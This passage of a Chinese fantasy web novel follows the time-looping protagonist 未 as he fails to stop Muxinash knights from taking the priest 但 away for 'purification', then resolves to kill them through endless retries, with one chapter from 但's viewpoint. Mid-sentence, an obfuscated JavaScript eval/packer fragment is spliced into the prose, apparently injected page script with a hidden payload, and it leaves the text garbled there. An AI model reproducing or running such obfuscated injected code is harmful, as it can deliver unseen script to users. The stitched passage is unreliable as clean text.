他的声音陡然提高,带着压抑已久的愤怒和痛苦:“可你们连这点‘仁慈’都要收回!因为什么?因为我给了某个快冻死的人一瓶药膏?因为我试图救几个被黑市假药毒害的贫民?还是因为……你们发现,我这个‘瑕疵品’,竟然还有那么一点点,不愿意完全变成石头的部分?!” 法师的面容在阴影中看不真切,但声音依旧冰冷:“你的情感与想法,无关紧要。重要的是你的存在已成为一个不确定因素。议会不能容忍任何可能破坏穆希纳什稳定与纯净的隐患。束手就擒吧,但。看在过去的情分上,我可以让你走得体面一些。” “体面?” 但缓缓摇头,向后退了半步,拉开了微小的距离,这是一个准备应对攻击的姿态,“被自己曾经的同胞像清理垃圾一样‘净化’掉,有什么体面可言。” “冥顽不灵。” 法师失去了耐心,法杖一挥,“拿下他。尽量打晕,便于运送。” 两名铠甲骑士同时踏步上前,沉重的步伐震得地面微颤。他们没有拔剑,似乎想徒手制服但。但的动作比他们更快,月白的袍袖一振,几点微弱的、带着寒意蓝光的光点疾射向两名骑士的面甲视缝。那并不是攻击性魔法,更像是干扰视线的冰尘。 骑士反应极快,抬臂格挡,光点撞在铠甲上爆开成一片冰雾。趁着这瞬间的遮挡,但的身影已向后飘退。 “还敢反抗!” 骑士怒喝,终于拔出了阔剑。剑刃在黑暗中划过冷冽的弧光,带着凌厉的风声斩向但。但试图变出护盾格挡,“铛”一声脆响,魔法护盾上竟然爆出一串火花,但整个人被巨大的力量震得向后踉跄,脸色更白。 另一名骑士从侧面逼上,长剑直刺。但勉强闪避,剑锋擦着他的肋侧而过,割裂了袍子,带起一溜血珠。他的动作明显不如对方迅猛,力量更是悬殊,全靠一种精妙的预判和灵活的步法在周旋,但险象环生。 未藏在阴影里,看着但在两名重甲骑士的围攻下左支右绌,袍子上的血迹在扩大,呼吸越来越急促。那个法师和另一名长袍者只是冷冷地看着,仿佛在观察一场注定结局的围猎。还有一名骑士守在后方,警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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骑士怒骂一声,彻底放弃了但,沉重的阔剑带着狂风般的势头,拦腰横斩向未。这一剑速度、力量都远超未的预估,笼罩范围极大,几乎封死了他所有闪避空间。 未瞳孔骤缩,在千钧一发之际,凭借无数次生死边缘磨练出的本能,身体向后极限仰倒,几乎是贴着地面滑开。冰冷的剑锋擦着他的鼻尖掠过,劲风刮得脸颊生疼。 但他还没站稳,另一名骑士的攻击已经到了。不是剑,而是不知何时组合上的长矛,毒蛇般刺向他的胸口。角度刁钻,速度奇快。 躲不开了。 未只来得及将匕首横在胸前格挡。 “铛——咔嚓!” 精钢锻造的匕首,竟然被那特制长矛的矛尖一击刺断!断裂的匕首碎片迸飞,未感到胸口传来一股巨力,仿佛被攻城锤击中,整个人向后倒飞出去,重重砸在一座墓碑上。 “咳!” 鲜血从喉头涌上,眼前阵阵发黑。他低头,看到胸口衣物被刺破了一个洞,里面贴身的、从黑市淘来的轻质嵌片甲救了他一命,但嵌片已经凹陷碎裂,肋骨处传来钻心的疼痛,估计断了几根。 仅仅一个照面,武器被毁,重伤。 而那个法师甚至还没出手。 “不知死活的东西。” 击飞他的骑士冷漠地评价道,长矛再次抬起,指向倒在地上的未。这一次,瞄准的是头颅。 未挣扎着想动,但剧痛和震荡让他一时无法有效控制身体。他看着那一点寒芒在视野中迅速放大,死亡的阴影冰冷罩下。 要死了吗?又死一次。这次,好像有点太冲动了。 为了一个甚至不愿接受自己帮助的人……可就在这时但的声音响起,嘶哑,却带着一种不容置疑的力度。 “住手!” 那指向未的长矛,在刺入他头颅前的最后一寸,停住了。 未咳着血,模糊的视线看到但摇摇晃晃地站了起来,挡在了他和那名骑士之间。但的嘴角也在溢血,月白袍子已被染红多处,看起来比未好不了多少。 “他的命,与你们无关。” 但喘息着,盯着那名骑士,也盯着后面的法师,“放他走。他只是个……无关的闯入者。” 法师的目光越过但,落在未的身上,那双苍老的眼睛里没有任何情绪,只有冰冷的评估:“闯入者?身手不错,但毫无魔力波动……是这里的雇佣兵?还是教会的暗子?” 他顿了顿,似乎在感知什么,“气息浑浊,杀孽缠身……哼,又一个该被净化的污秽。一并处理了便是。” “不行!” 但的声音猛地拔高,“老师,你们的目标是我!与他无关!他只是……只是一个偶然路过的、迷失的人!杀了他,对你们的‘净化’毫无意义,只会增加不必要的麻烦!加仑城教会虽然腐朽,但若发现其辖区内有不明身份的武装人员杀死其修士,哪怕只是个无名之辈,也会进行调查!你们想节外生枝吗?!” 但的话速极快,逻辑清晰,直指要害。 法师沉默了片刻,似乎在权衡。穆希纳什的行事风格是隐秘和高效,尽量避免不必要的国际或者说是城邦间纠纷。为一个无关紧要的小人物,惹上加仑城教会这个哪怕已经腐朽到骨子里了的地头蛇,也确实不智。 “可以。” 法师最终缓缓点头,目光回到但身上,“他的死活,无关大局。只要你放弃抵抗,乖乖跟我们走,完成‘最终净化’,我可以放过这只老鼠。” 但的身体几不可察地颤抖了一下。他背对着未,未看不到他的表情,只能看到他挺直却单薄的背脊,和那染血的、随风微微拂动的蓝色长发。 “……好。” 但的声音低了下去,带着一种彻底放弃什么的空洞,“我跟你们走。不要动他。” “但……” 未挣扎着,想说什么,却咳出更多的血沫。 但没有回头。他向着那队穆希纳什的骑士和法师走去,步伐有些蹒跚,却异常坚定。 法师似乎对但的配合很满意,挥了挥手:“带上,撤离。按原计划路线。” 一名长袍者上前,将一个刻满符文的金属项圈扣在但的脖子上。项圈合拢的瞬间,但的身体剧烈地痉挛了一下,脸上最后一点血色也褪尽了,仿佛所有的力气都被抽走,几乎要瘫软下去,被两旁的骑士架住。 他们转身,准备带着但离开墓园,从来时的方向撤退。 未眼睁睁看着,胸口的剧痛和无力感几乎要将他吞噬。他想站起来,想冲上去,想做点什么,但折断的肋骨刺痛的肺,让他连呼吸都困难。 然而,穆希纳什的人没有给他更多思考的时间。他们带着但,迅速没入墓园更深处的黑暗,脚步声很快远去,消失不见。 墓园重新恢复了死寂,只有未粗重痛苦的喘息声,和风吹过荒草的沙沙响。 他躺在冰冷的地上,胸口的疼痛一阵阵袭来,嘴里满是血腥味。断掉的匕首残柄还握在手里,冰凉。 他失败了。冲动地介入,毫无作用,差点被杀,而但……但为了救他,选择了束手就擒,跟着那些人走了,去接受所谓的“最终净化”。 那是什么?死亡?还是比死亡更可怕的东西? 未不知道。他只知道,自己又一次,什么都做不了。就像在储藏室那次一样,不,比那次更糟。那次只是弄巧成拙,这次,他直接成了但不得不妥协的负担。 剧烈的自我厌恶和挫败感,混合着身体的疼痛,几乎要将他淹没。 他挣扎着,用还能动的左手,艰难地摸向胸口的暗袋,掏出了那枚冰凉的旧徽章。徽章在昏暗光线下,只有模糊的轮廓。 但最后那个眼神,那个看向徽章位置的细微动作……到底是什么意思?是让他用这个身份做点什么?还是仅仅无意识的举动? 未不知道。他握着徽章,指甲几乎要嵌进金属里。 身体越来越冷,意识开始有些模糊。他知道自己必须离开这里,回到地堡或者至少找个地方处理伤势,否则可能会失血过多死在这墓园里。 他咬着牙,用尽全身力气,忍着肋骨摩擦的剧痛,一点一点,艰难地撑起身体。每动一下,都像有刀子在胸腔里搅动。 未举起匕首,对准了自己的心脏。 21. 【十】间章 地堡的应急灯光线从未如此刺眼过。未瘫坐在冰冷的地板上,背靠着刻满失败印记的墙壁,头颅沉重地垂在胸前。不是睡去,而是一种更深、更彻底的断电。几十次、或许上百次的死亡、失败、重复……那些画面还在视网膜后灼烧。意识像一块耗尽了所有电荷的电池,终于连维持最基本运转的能量都榨干了。他甚至没来得及走到那张简易床铺,黑暗就带着实体般的重量砸了下来。 他是被地堡自动循环的通风系统低鸣吵醒的。喉咙干得像要裂开,眼皮沉重得黏在一起。他花了点时间才确认自己在哪里,以及“现在”是何时。身体没有新伤,但一种从骨髓深处透出来的疲惫,比任何伤口都更难忍受。没有新的灵感,没有灵光一闪的破局之法。只有冰冷的、重复的失败事实。 他摇摇晃晃地站起来,找到水壶灌了几口冰冷的存水。目光扫过角落里的装备架,那把断掉的匕首残柄还躺在那里。他移开视线。 该回去了。回教会。虽然那个念头——离开,拿起刀,回去做雇佣兵——像幽灵一样在脑海边缘徘徊,但身体还是习惯性地、近乎麻木地走向出口。至少那里有热水,有固定的食物,有一个……可以暂时藏身的灰色外壳。 翻墙回到教堂区域时,天光已经大亮,晨祷早已结束。他浑身沾着夜露和地堡的尘土,脸色苍白,眼神涣散。几乎刚踏上后勤区的地面,就被负责巡查的执事撞个正着。 “默?”执事皱起眉,打量着他狼狈的样子,“你去哪了?晨祷缺席,早间清扫也没到位。” 未张了张嘴,喉咙干涩,一时竟发不出像样的声音。 “算了。”执事不耐烦地挥挥手,显然不想深究这个近来“自暴自弃”、又有些背景的边缘修士,“按规,无故缺席重要日常功课及劳作,扣当月贡献值五十点。自己去后勤厅记录簿上签字认罚。” 贡献值。未心里毫无波澜。那东西曾经是他全部的希望阶梯,现在不过是个笑话。他木然地点了点头,没做任何辩解。 执事摇摇头,转身走了,低声嘟囔了一句:“烂泥扶不上墙。” 未站在原地,任由那几个字飘进耳朵,没有任何反应。他本该去清理自己,然后找个地方继续今天分派的、毫无意义的工作。但一种更强烈的、空洞的烦躁攥住了他。他不想动,不想看见那些灰色的墙壁和灰色的面孔,不想再重复任何一个擦拭或搬运的动作。 他径直找到了负责修士日常事务管理的执事,声音沙哑但直接:“我不舒服,请假。” 那执事抬起眼皮,看到是他,眼中闪过一丝了然和轻蔑——又是这个近来消极怠工的“工贼”,想必是装病偷懒。“哪里不舒服?需要去医疗站看看吗?”语气公式化,不带丝毫关心。 “头痛。不用去医疗站,休息就好。”未回答,目光低垂,避开对视。 执事撇撇嘴,在本子上随意划了一笔:“今天准了。但今日工分全扣。回去躺着吧,别到处乱晃。” 未转身离开,没有回集体宿舍。那里人多眼杂,且充满令他窒息的、无形的排斥。他需要一个更安静、也更靠近某个地方的位置。 鬼使神差地,他走向了教堂主体建筑东侧那片相对僻静的回廊。这里靠近他曾经常去的自习室,也离那扇通往墓园的彩窗不远。他在一个背阴的、能晒到一点点惨白阳光的角落坐下,背靠着冰凉的石柱,闭上了眼睛。他并不真的指望能睡着,只是想逃离片刻。 时间缓慢流逝。教堂里隐约传来唱诗班练习的断续歌声,远处有修士走动和搬运物品的声响。这一切都仿佛隔着一层厚重的毛玻璃,模糊而不真实。 就在他几乎要被这种浑噩吞噬时,一阵极其轻微、但异常熟悉的脚步声由远及近。 未猛地睁开眼。 月白色的袍角掠过回廊转角,蓝色的长发束在脑后,露出一段苍白但线条清晰的脖颈。是但。 他就那样走了过来,脚步平稳,神色如常,手里拿着一卷看起来像是古籍的厚册子,仿佛只是一个正在去往藏书室或祭坛的普通祭司。除了脸色比平时更苍白一些,眼下有淡淡的阴影,几乎看不出任何异常。 未的心脏像是被一只无形的手攥紧了。他死死盯着但,看着他走过自己面前,甚至没有向这个角落投来一瞥。 但走过去了。方向是……自习室? 未僵在原地,大脑一片混乱。 但……出现了?看起来……没事?至少,能走动,能拿东西,神色虽然疲惫,却没有上次在储藏室见到的那种濒死般的痛苦和绝望。 怎么回事? 那些穆希纳什的人呢?那个最终净化呢?但不是应该被带走了吗?或者至少,该被严密看管起来,伤痕累累? 难道……没有自己的干预,但一个人也能应付?甚至,可能达成了某种……暂时的平衡或协议? 这个想法让他感到一阵尖锐的刺痛,混合着荒谬和释然。刺痛是因为,自己之前的拼命、死亡、自以为是的“帮助”,或许真的只是添乱,是多此一举,是但完全不需要甚至厌恶的负担。释然则是……但至少现在看起来还好。 他忍不住,悄悄起身,远远地辍在后面。 但走进了自习室。未不敢跟进去,只能躲在门外不远处的阴影里。过了一会儿,但出来了,手里空了,大概是放下了书。他沿着回廊继续走,偶尔遇到低阶修士或执事,会微微颔首示意,对方也恭敬回礼,一切看起来正常得不能再正常。 未远远看着,心中的疑惑却越来越深。 他开始有意无意地,在完成最低限度的工作之余,利用一切机会收集信息。不是通过危险的黑市调查,而是倾听。食堂里的窃窃私语,洗衣房修士们的闲聊,甚至是被派去帮忙时,其他执事或修士偶尔漏出的只言片语。 关于但的流言,比他想象中要多,也复杂得多。最主要也是最有用的信息,是之前那两名没有跟着一起欺负未还站出来帮忙的修士告诉未的。 紫色眼睛的修士见四下无人,便低声对未说:“那位蓝发的祭司大人?听说是北边穆希纳什来的大人物,犯了事被流放过来的……” 他顿了顿,声音更轻了些:“何止是流放。我听说……是王室出身。但血脉似乎有问题,圣痕不完整,算是个‘瑕疵品’,才被送到这儿‘清洗罪孽’。”他迟疑了一下,补充道:“最近……是不是有外面的人来找他?穿着很奇怪的铠甲。” 旁边的灰色眼睛修士低声接话:“来过好几次。每次都来一队人,看着就不一般。每次他们来,但祭司就会消失一阵,过些日子又自己回来。”他声音压得很低,几乎只剩气音:“像个……循环。那些人带他走,过段时间他出现,然后那些人隔一阵又来。” 紫色眼睛的修士像是想起什么,谨慎地看了看周围,才继续说:“这次好像不太一样……听说但祭司在墓园那边,拒绝跟他们走了?闹得……不太愉快。” 灰色眼睛的修士立刻做了一个噤声的手势,摇了摇头,示意别再往下说。沉默了片刻,他才用极轻的声音,像是自言自语般喃喃:“……为什么不逃呢?每次都被带走,又回来……太折磨人了。” 紫色眼睛的修士苦笑了一下,同样用几乎听不见的声音回答:“逃?往哪儿逃……那是穆希纳什的‘荆棘鸟’。而且……或许有什么把柄在他们手里。又或者……”他没再说下去。未的心一点点沉下去,同时也有一股难以言喻的焦灼烧起来。 但拒绝跟他们走。不止一次。这意味着但并不甘心接受那个“最终净化”。他在抵抗,哪怕这种抵抗看起来徒劳,只是延长了循环的周期。 那么,自己之前看到的、但“配合”被带走的情景,是因为……自己的介入,反而成了逼迫但妥协的弱点?因为自己这个“意外因素”被抓到,成了威胁但就范的筹码? 这个认知让他胃部一阵抽搐。 而但,在试图独自面对这一切。用他自己的方式,或许是谈判,或许是拖延,或许是某种未无法理解的、属于他那个层次和背景的周旋。 但显然,这种周旋越来越吃力。那些骑士团来的频率在增加?但拒绝的姿态能坚持多久?下一次,下下次呢?那个“老师”模样的法师,看起来可不像有无限耐心的人。 未真的很担心但。这种担心不再是之前那种带着愧疚和冲动的“帮忙”,而是一种更深的、近乎无力的凝视。他看着但像一个走在逐渐崩塌的冰面上的人,明知结局,却还在试图寻找每一寸尚且坚实的落脚点。 “如果……我不出现呢?” 这个念头再次浮现。未需要一个更清晰的验证。他需要一个完全没有自己干扰的“样本”,看看事情原本的轨迹到底如何。 又一次,他选择了回溯。这一次,他给自己设定的规则是:绝对的旁观。不靠近墓园,不制造任何声响,不留下任何痕迹,就像彻底从这个事件中蒸发。 他躲在一个更远、更安全的制高点观察。 夜幕降临,墓园。那支五人小队准时出现。但也如同设定好一般,从教堂阴影中走出,拦在路上。 对话听不清,但看得见动作。但的姿态依旧挺拔,却带着一种沉重的抗拒。双方似乎发生了争执,但的情绪显得激动,而那个法师则始终保持着冰冷的压迫感。 争论持续的时间比以往任何一次都长。未看到但剧烈地摇头,手臂挥动,像是在激烈地反驳什么。骑士们手按剑柄,气氛紧绷。 就在未以为冲突要立刻升级时,情况发生了变化。但似乎说了什么,指向教堂的方向,又指了指自己,然后做了个“需要一点时间”的手势。 法师沉默地听着,最终,缓缓点了点头。他转头对身边一名骑士低声吩咐了几句,那名骑士领命,快步离开了墓园,方向似乎是加仑城内。 但松了一口气的样子,但肩膀依旧紧绷。他转身,似乎想返回教堂,却被那名空手的法师抬手拦住。法师摇了摇头,示意但留在原地。 但僵住了,片刻后,颓然放弃了返回的打算,就那样站在原地,望着教堂的方向,背影在夜色中显得格外孤寂。 过了一会儿,那名离开的骑士回来了,手里似乎拿着什么东西,向法师报告。法师听完,脸上露出一丝极淡的、像是嘲讽又像是意料之中的神情。他对但说了句什么。 但的身体明显晃了一下,然后,极其缓慢地,点了点头。那点头的幅度里,充满了认命般的沉重。 未的心沉到了谷底。他看懂了。但提出了某个理由试图拖延,但对方显然早有防备,派人去核实或监控,彻底打消了但的任何念头。 法师似乎还算通情达理,没有立刻强行抓人。他对但说了一番话,但离得太远,看不清口型。但听完后,沉默了很久,最终,又点了点头。这次,是更深的妥协。 然后,那队人并没有立刻带走但。他们离开了墓园,但方向不是远离加仑城,而是向着城内某个区域走去。未冒险换了个观察点,勉强辨认出他们去的方向——那边似乎有几家高档的、接待外来显贵的住所和……酒馆?他想起之前不知从哪里听过的传闻,穆希纳什的人似乎对加仑城某个特定酒馆的某种招牌酒情有独钟。 难道是那些人真的想去喝一杯,所以将“净化”的执行延后了? 无论原因是什么,结果就是:但似乎获得了一段喘息时间。 第二天,未早早来到教堂,克制着自己不去东张西望。上午的劳作时间过去大半,一个令他意外又似乎在意料之中的身影出现了。 但回来了。独自一人,从教堂正门的方向走进来,神色平静,甚至比昨天看起来更“正常”一些,只是眼下的阴影更重了,嘴唇几乎没有任何血色。 他没有逃跑。在对方明显放松了警惕的情况下,他依然选择了回来,回到了这个名为教堂的囚笼。 未远远看着但走过庭院,消失在内廊深处。那一刻,他心中最后一点侥幸和关于“但或许有后路”的猜测,彻底熄灭了。 没有什么隐秘的逃生计划,没有暗中接应的盟友,没有足以翻盘的王牌。 有的只是一个被故国抛弃、被血脉诅咒、被强大武力监视、自身力量似乎也有限的“瑕疵品”,在绝望的循环中,进行着一次次徒劳的、注定失败的抵抗。他的拒绝,他的拖延,或许能换来一时半刻的喘息,但改变不了最终被“净化”的结局。 而他拒绝自己的帮助,很可能只是因为……那真的帮不上任何忙,反而会像上次一样,加速他的失败,甚至带来额外的痛苦。 看清这一切,未感到的不是解脱,而是一种更冰冷、更坚硬的决心,从绝望的冻土深处破土而出。 纠缠于“但为何推开自己”或“两人之间到底算什么”这类问题,在此刻显得无比苍白,甚至有些可笑。像是对着一座即将倾覆的冰山,去计较其中某道裂缝的纹路是否优美。 重要的从来不是“为什么”,而是“是什么”。 是什么悬在但的头顶?是那些人的刀剑与魔法。 是什么困住了但?是那四十人的存在本身。 未的目标,在这一刻,发生了根本的转变。未的目标,在这一刻,发生了根本的转变。 之前他想“救”但,想法是混乱的,带着侥幸的,试图寻找漏洞、制造机会、影响进程。但现在,他明白了,问题的核心从来不是什么机会或漏洞,而是人。是那支前来执行“净化”的穆希纳什小队,以及他们背后那四十人的骑士团。 是这些人的存在,他们的任务,他们的武力,构成了但无法挣脱的锁链。 只要他们还在,但的循环就不会停止,直到某一次拖延失效,他被彻底带走。 那么,如果要真正地“解决”但的危机,方法只有一个,简单、直接、粗暴到令人窒息—— 杀了他们。 只要他们继续纠缠,就杀光那支前来接触的小队,杀光那四十个骑士团成员。 这个念头如此疯狂,如此不切实际,让未自己都感到一阵晕眩。一个人,对抗四十个精锐中的精锐?这已经不是以卵击石,这是尘埃妄想撼动山岳。 但是…… 未缓缓抬起头,目光望向地堡的方向,又仿佛穿透了墙壁,看到了那本生死之誓,看到了自己无数次死亡后留下的印记。 他拥有一样东西,一样在常规逻辑下毫无价值、但在此刻却可能成为唯一变数的东西——无限次重来的机会。 是的,他战力极低,在那些骑士面前不堪一击。是的,对方装备精良,配合无间,几乎没有破绽。是的,这任务看起来根本不可能完成。 但这不再是一个现实世界的任务。这变成了一场游戏。一场难度高到令人发指,玩家属性弱得可怜,但拥有一个绝对特权,一个无限复活、无限读档的游戏。 玩家要做的,不是一次通关,而是用无数次死亡,去试探,去学习,去记忆,去找到那可能存在的一丝丝规律,去积累那微不足道的一点点优势,然后用成千上万次失败铺路,去赌那唯一一次的成功。 未的心脏,在长久的麻木和疲惫后,第一次,如此剧烈、如此灼热地跳动起来。不是因为希望,而是因为一种近乎毁灭的专注。 他不是为了成为英雄,也不是为了报答什么。或许,只是因为他受够了。受够了自己的无力,受够了眼睁睁看着,受够了这个冰冷世界里唯一一点让他觉得不同的东西,也要被同样冰冷的规则碾碎。 既然常规的路都走不通,既然这个世界用规则和力量碾碎一切,那么,他就用这个世界无法理解的、最笨拙也最残酷的方式,撬开一条缝。 用命去填。 一条命不够,就十条。十条不够,就一百条,一千条,一万条。 直到把那看似坚固无比的“不可能”,砸出一道裂痕。 未从角落里站起身,拍了拍沾满灰尘的袍子。眼神里的空洞和麻木消失了,取而代之的是一种极致的平静,平静之下,是即将沸腾的熔岩。 其次,他需要武器,合适的武器。匕首近战是找死。他需要远程,需要隐蔽,需要能针对铠甲或魔法防护的特种装备。地堡里或许有些存货,但不够。他需要信用点,需要去黑市,寻找那些真正能对高阶防护造成威胁的“脏东西”,哪怕是一次性的。 未深吸了一口教堂里浑浊的空气,迈步离开角落。他的身影依旧穿着灰色的修士服,但内在有什么东西已经彻底燃烧起来,指向一个清晰得令人战栗的目标。 心,从未如此清醒地灼热过。 …… (以下以但的第一人称视角叙述) 第一次注意到那个身影,是在冬末的救济粥棚。 空气里飘着烂菜叶和廉价谷物的霉味,还有人群积攒了一冬的绝望。我捧着圣典站在稍高的台阶上,念诵千篇一律的祷词,声音大概连自己都听不清。目光扫过下面一张张麻木或贪婪的脸,像扫过一片被严寒摧折过的枯草。然后,我看到了一个……轮廓。 他站在队伍偏后的位置,个子比周围大多数人都要矮上一截,这使得他在人群中像一个小小的凹陷。头发是罕见的白色,不是老人那种枯槁的灰白,而是一种近乎剔透的银白,在加仑城永远灰蒙蒙的背景里,显得有点扎眼。他没怎么抬头,一直微低着,侧着脸,似乎在避免与任何人视线接触,包括分发物资的我们。我只能看到他略显单薄的肩膀,和一头醒目的白发。 轮到他的时候,我机械地递过去一份标准配给。他伸出手来接,手指细长,但指节和虎口有很明显的茧子。他接得很稳,没说话,只是极快地点了下头,动作轻得像怕惊动什么,然后就攥着东西,迅速缩回了人群边缘,依旧低着头。全程没有与我对视。 加仑城最不缺的就是各种带着过去痕迹、挣扎求存的人。他很快就被我抛在脑后,淹没在下一张麻木或急切的面孔里。 再次有交集,已经隔了一段时间,是在那个月光异常清晰的垃圾场夜晚。我因为圣痕的疼痛无法睡眠,心情紧绷,行动迟缓。就在我以为四下无人时,却在堆积如山的废弃物拐角,撞见了他。< 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他似乎也认出了我,眼中的警惕没有丝毫放松,反而更沉了。我们就这样僵持了几秒,谁都没有先开口,也没有任何动作。空气里只有远处风吹过废弃金属的呜咽,和脚下尚未完全凝固的血腥气。 然后,他做出了决定。他极其利落地手腕一翻,用一块破布擦净刀身,收刀入鞘,动作流畅得没有一丝多余。他甚至没有再看地上那具尸体一眼,也没有再看我,只是侧过身,迅速而无声地没入旁边一堆更高大的机械残骸阴影里,消失了。从始至终,他没有对我说一个字,也没有流露出任何诸如慌乱、凶狠或解释的情绪,只有一种完成任务后的、冰冷的抽离。 我站在原地,看着那具陌生的尸体,又看了看他消失的方向。垃圾场的冷风灌进袍袖。刚才那短暂的对峙,那双浅色眼睛里的冰层,还有那簇在月光下颤动过的、过分长的睫毛……这些碎片组合成一个模糊的印象:一个危险的、沉默的、似乎游走在某种边缘的年轻人,偏偏生着一张有些违和的脸。 但我依旧没有深究。加仑城的夜晚藏着太多秘密,多一个也不算什么。 真正让我开始注意他,是那些用古魔文写成的纸条。 发现自习室那张写着歪扭古魔文的纸条时,我的震惊远大于警惕。古魔文……这种早已沉入历史尘埃、艰涩复杂到连许多高阶学者都望而却步的文字,竟然会出现在加仑城教堂一个偏僻的自习室里,写在一张粗糙的废纸上?内容还如此简单,近乎笨拙的试探。 出于一种复杂的好奇,我决定回应。同样用古魔文,写了句语焉不详、带着惯有疏离感的话放回去。 纸条的往来就这样开始了。他的问题起初很简单,甚至有些小心翼翼,字迹也从生涩慢慢变得稳定。透过那些古老的笔画,我仿佛能看到一个沉默的人,在谨慎地伸出触角,试图触碰和理解另一个同样被孤立的存在。他问我是谁,为垃圾场的事道歉,警告我药膏可能有问题……文字直白,没有太多修饰,却能感觉到下面涌动的困惑和某种笨拙的关切。 这让我不得不重新审视他。我开始在自习室,或者偶尔在教堂其他地方,有意无意地寻找那个白头发的身影。我发现他确实经常来,总是坐在最不引人注目的角落,安静得像一团影子。当他低头写字或只是发呆时,我能更清楚地看到他的侧脸,看到那簇天生就长一些的睫毛,在他垂下眼时,像一小片安静的羽翼,覆盖下来。他的面容确实有种未完全褪去的少年感,线条柔和,如果不看那双时而过于冷静的浅色眼睛和手上的茧子,几乎可以用精致来形容。但这精致被一种更深沉的、近乎磨损的疲惫笼罩着。 当他在纸条里透露出想通过“特殊渠道”进入教会时,我几乎能想象出他眼中可能燃起的那点虚妄的希望。我立刻用最严厉的比喻警告他。我不想看他跳进这个看似洁净、实则更令人窒息的囚笼。后来他问及我的出身,我给了直接而残酷的答案。既是对过往的总结,也是一种变相的劝退:靠近我,就是靠近麻烦本身。 他说“我想帮你”。那一刻,心里的震动是真实的。那并非戏弄。墓园的无名冢,是我少数能为自己和那些无声逝者做的、毫无实际意义却维系着内心某种东西的仪式。 他果然不再回复了。我想,他大概终于明白了我们之间的距离,知难而退。这样也好。 然而,我很快发现,墓园那些无名碑座周围的荒草,真的在被人清理。痕迹新鲜,手法细致。他没有再递来纸条,却用行动,沉默地回应了那个“荒谬”的请求。 心情难以言喻。有点恼火他的固执,有点无奈于这种无声的坚持,但更深的地方,那早已冰封的湖面下,似乎有什么东西被轻轻触碰了一下,漾开一圈极其微小的涟漪。 再后来,就是杂物院那次充满破绽的相遇。我受了不轻的伤,仓促间躲入,却迎面撞上正在那里清理的他。那一刻的惊愕和本能警惕是真实的。我迅速戴上祭司面对低阶修士的面具,用谎言敷衍。 他的反应快得惊人,几乎在我露出破绽的瞬间,就配合着帮我遮掩了过去。他扯过帷幔挡住泥污,清扫痕迹,动作流畅自然。我低声道了谢,紧接着是更严厉的警告:“后面的事,别再管了”。我必须划清界限。我自己的麻烦像沼泽,任何靠近的人都有可能陷进去。 可他当晚就违规潜入墓园,还挖出了那个我匆忙埋下的金属残片。当他拿着那东西站在我面前,浅色的眼睛里满是固执的担忧时,我感到的是一种深深的无力,以及骤然升起的烦躁。 我的话像冰碴。我近乎粗暴地夺回东西,再次命令他离开、忘记。月光下,他长长的睫毛颤动了几下,最终垂下去,遮住了眼睛。他松手,转身离开,没有反驳。 我想,这次总该结束了。 我知道他后来用钱买了身份进来,成了“默”。我刻意避开他可能出现的区域。听说他拼命刷贡献值,被称为“工贼”,被排挤……这些消息让我隐隐不安。这太危险了。可我不能提醒他,任何接触都可能害了他,也害了我自己。 然后,就是那次灾难性的黑市调查。 当他承认是他雇人调查我,并且这调查已经暴露,成了别人攻击我的把柄时,我感觉全身的血液都冷了。愤怒混合着伤口尖锐的疼痛和濒临绝境的恐惧,瞬间冲垮了理智。 我说的话像刀子,既割向他,也割向我自己。我看到他脸色惨白,但我不能心软。我必须用最决绝的方式推开他。 那之后,听说他彻底消沉了。我想,这样也好。至少他安全了。只是偶尔远远瞥见他那低垂着头的灰色身影时,心里会掠过一丝极淡的、连自己都不愿深究的涩意。但那涩意很快就会被我自己面临的、越来越紧迫的压力所覆盖。老师这次亲自来了,循环逼近终点,我的时间不多了。 在一次早祷结束后,我正沿着回廊走,他不知从哪里冒出来,拦住了我。他的脸色很差,眼神却异常焦灼,直直地看着我,声音又急又低:“你没事吧?他们有没有把你怎么样?” 我愣住了,完全无法理解。 当然没事。我能有什么事? 可他为什么是这副样子?仿佛我经历了什么生死大劫一样? “我很好。”我听到自己用疏离而平静的语气回答,甚至微微蹙起了眉,“默修士,请注意你的言行和场合。我没什么需要你关心的。” 他的表情僵住了,焦灼凝固在脸上,慢慢变成一种更深的、混合着茫然和难以置信的神色。他张了张嘴,似乎想说什么,但最终只是死死地抿住了唇,那长长的睫毛垂下来,剧烈地颤抖着。 我不明白他这突如其来的、过度的反应是为什么。昨天遭到盘问的明明是我,为什么今天他比我这个当事人更忧心忡忡的样子?仿佛在他那里,发生了某种我完全不知道的、更糟糕的事情。 这种无法理解的感觉,让我心烦意乱,甚至有些恼火。我已经够麻烦了,不需要再应付一个行为难以预测、情绪似乎也不太稳定的人。他的“关心”在此刻显得如此突兀和沉重。 “做好你分内的事,修士。”我加重了语气,不再看他,侧身从他旁边走过,“我的事情,与你无关。记住这一点。” 我没有回头,但能感觉到他的目光一直钉在我的背上,那目光沉甸甸的,充满了我不懂也不想懂的东西。 我无法理解。 他的行为缺乏连贯的逻辑。一会儿拼命想靠近,一会儿又沉默地远离;一会儿鲁莽地介入危险,一会儿又表现出过度的、毫无来由的担忧。他的情绪起伏也让我难以把握。 我不喜欢这种无法理解的感觉。这让我觉得失控。而我的人生,早已承受不起任何额外的失控了。他的存在,他的关注,他那莫名其妙的执着,都成了我沉重负担之外,又一缕令人心烦意乱的杂音。 我不想再猜了,也没精力去猜。 他愿意怎么想,就怎么想吧。他愿意怎么做,只要不再次鲁莽地闯进来,给我增添实实在在的麻烦,那就随他去吧。 我们本就是两条偶然接近又注定分开的线。他走他的路,我面对我的结局。 22. 【十】间章2 但还是消失了。 被那队沉默的、铠甲冰冷的穆希纳什人带走了,消失在墓园更深的黑暗里。未躺在原地,胸口断骨的剧痛和喉头的血腥味真实无比。他盯着但消失的方向,直到连最后一点声音都听不见。然后,他拔出靴筒里的匕首残柄,没有任何犹豫,对准了自己的心脏。 这一次,刺入的动作里没有愤怒,没有悲伤,只有一种近乎冷酷的确认。 地堡应急灯惨白的光线刺入眼帘。 未猛地从冰冷的地板上坐起,大口喘气,仿佛刚从深水中挣脱。心脏在胸腔里狂跳,完好无损,肋骨处也没有丝毫痛感。只有记忆是新鲜的——但最后那个眼神,项圈扣合时的痉挛,骑士长矛刺破空气的尖啸,还有自己骨头碎裂的闷响。 他低头看向自己的手,虎口处被剑柄震裂的伤口不见了。但那种触感还在,皮肤下面仿佛残留着幻痛。他抬手摸了摸脸,没有血,没有泪。只有一种冰冷的、绝对的清醒,像手术刀一样切开了之前的浑噩和自怜。 